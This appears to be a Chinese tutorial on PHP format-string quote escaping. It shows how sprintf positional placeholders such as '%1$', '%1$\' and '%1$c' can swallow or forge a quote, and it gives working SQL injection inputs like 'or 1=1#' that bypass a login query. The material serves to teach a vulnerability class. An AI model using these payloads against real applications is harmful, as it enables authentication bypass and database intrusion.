PHP格式化字符串导致引号逃逸

主要利用

引号逃逸,造成注入

相关函数

  • sprintf ( string $format [, mixed $... ] ) : string
  • vsprintf ( string $format , array $args ) : string

什么是格式化字符串

在字符串中,使用 %s,%d 等类似的字符来占位,之后在用对应的值,来替换这些占位符。

1
2
3
4
5
6
7
<?php
$user = "admin";
$password = '123456';
$sql = "select * from user where user='%s' and passwd='%s'" ;
$sql = sprintf ( $sql ,$user ,$password);
echo $sql ;
// 输出结果:select * from user where user='admin' and passwd='123456'

按位格式化

以 sprintf 函数为例,当占位符的数量多于函数参数 $args 时,示例:

1
2
3
4
5
6
7
<?php
$user = "admin";
$sql = "select * from user where user='%s' and passwd='%s'" ;
$sql = sprintf ( $sql ,$user);
echo $sql ;

// 此时 sprintf 函数会报错,Warning: sprintf(): Too few arguments

此时,我们可以使用 %1$s 这种形式来做为占位符。其含义为使用第几个参数来替换自己,该占位符使用第一个 $args 参数来进行替换。示例:

1
2
3
4
5
6
7
<?php
$user = "admin";
$sql = "select * from user where user='%1\$s' and passwd='%s'" ;
$sql = sprintf ( $sql ,$user);
echo $sql ;

// 输出:select * from user where user='admin' and passwd='admin'

上述例子中,第二个占位符也被替换为了admin,是因为,除了 %1$s 这种格式的占位符,会按指定的参数来进行替换。%s 这种格式的占位符,还是会按照参数顺序,从左向右进行替换。

所以,就算使用了 %1$s 这种格式的占位符之后,如果剩余的 %s 这种格式的占位符数量还是多余 $args 参数的个数,那么 sprintf 函数还是会报错。示例:

1
2
3
4
5
6
7
<?php
$user = "admin";
$password = '123456';
$sql = "select * from user where user='%1\$s' and passwd='%s' and site = '%s'" ; // 这里还有两个 %s
$sql = sprintf ( $sql ,$user); // 而参数这里只有一个 $user
echo $sql ;
// 此时依然会报错,Warning: sprintf(): Too few arguments

字符串 padding

即我们可以指定格式化字符串的一个长度,不足的长度可以用指定字符来进行填充,默认是空格。看下面一个例子来理解下

1
2
3
<?php
var_dump(sprintf("%10s",'world'));
//输出:string ' world' (length=10)

那么如果不想使用默认的空格进行填充,需要按照 %’[填充字符][长度][参数类型] 这个格式来指定占位符。示例:

1
2
3
<?php
var_dump(sprintf("%'#10s",'world'));
//输出:string '#####world' (length=10)

注意:如果参数长度大于在占位符中指定的长度,并不会造成截断。看下面这个示例

1
2
3
<?php
var_dump(sprintf("%'#2s",'world'));
//输出:string 'world' (length=5)

占位符格式和利用

下面详细介绍下占位符的格式。通常占位符由一个百分号,即 % ,加上一个参数类型组成。如 %s ,代表字符串,%d 代表十进制数,共计有15种类型,哪15种可以参考 sprintf 函数的手册内容。

当占位符不按照默认的与参数位置为从左往右的对应关系时,需要使用的占位符格式为 %[数字]$[参数类型]

其中数字为对应的参数位置。参数类型为15种之一。

参数类型一共有15,如果 % 后面跟的字符都不是这15种之一会出现什么情况呢?答案是会将其置空。示例:

1
2
3
4
5
6
7
<?php
$user = "admin";
$sql = "select * from user where user='%m'" ;
$sql = sprintf ( $sql ,$user);
echo $sql ;
// 输出结果:select * from user where user=''
// 它并没有报错,而是使用一个空字符串,来替换了 %m

通过如上例子,那么如果是 %\ ,%’ 这种格式也会被替换为空,%\ 可能会在如下场景种遇到。

1
2
3
4
5
6
7
8
9
10
11
<?php
$user = "admin%1$' or 1=1#"; // 这里使用 %1$ 这种格式的占位符,是避免sprintf只传入一个$args而报错
$user = addslashes($user);
/* 这里会将 ' 转义为 \' , \ 与前面的占位符拼接成了 %1$\,
而 %1$\ 不属于15种中的一种,而被替换为了空,
使得 ' 逃离了 \ 的转义 */
$password = '123456';
$sql = "select * from user where user='{$user}' and passwd = '%s'" ;
$sql = sprintf($sql ,$password);
echo $sql ;
//输出 select * from user where user='admin' or 1=1#' and passwd = '123456'

上述例子可能不洽当,但我想说明的是,可以利用 %\ 会被替换为空,来使得 ‘ 逃离转义

还有下面这个例子

1
2
3
4
5
6
7
8
<?php
$user = "%1$";
$password = 'or 1=1#';
$sql = "select * from user where user='{$user}' and passwd = '%s'" ;
$sql = sprintf ( $sql ,$password);
echo $sql ;
// 输出:select * from user where user='nd passwd = 'or 1=1#'
// 利用 %1$ 和 ' 拼接成为 %1$' 而被吃掉了一个引号,最终造成了一个万能密码

还可以通过 %c 来转换出一个 ‘ 来实现引号的闭合,看下面这个例子

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$user = '%1$c or 1=1#';
$password = '39';
$sql = "select * from user where user='{$user}' and passwd = '%s'" ;
/*
这里将 $user 代入 $sql 之后的字符串内容为
select * from user where user='%1$c or 1=1#' and passwd = '%s'
这里 %c 是将参数按照 ascii 码值进行转换,经过sprintf格式化之后会将 password 的 39,转换为 '
*/
$sql = sprintf ( $sql ,$password);
echo $sql ;
// 输出: select * from user where user='' or 1=1#' and passwd = '39'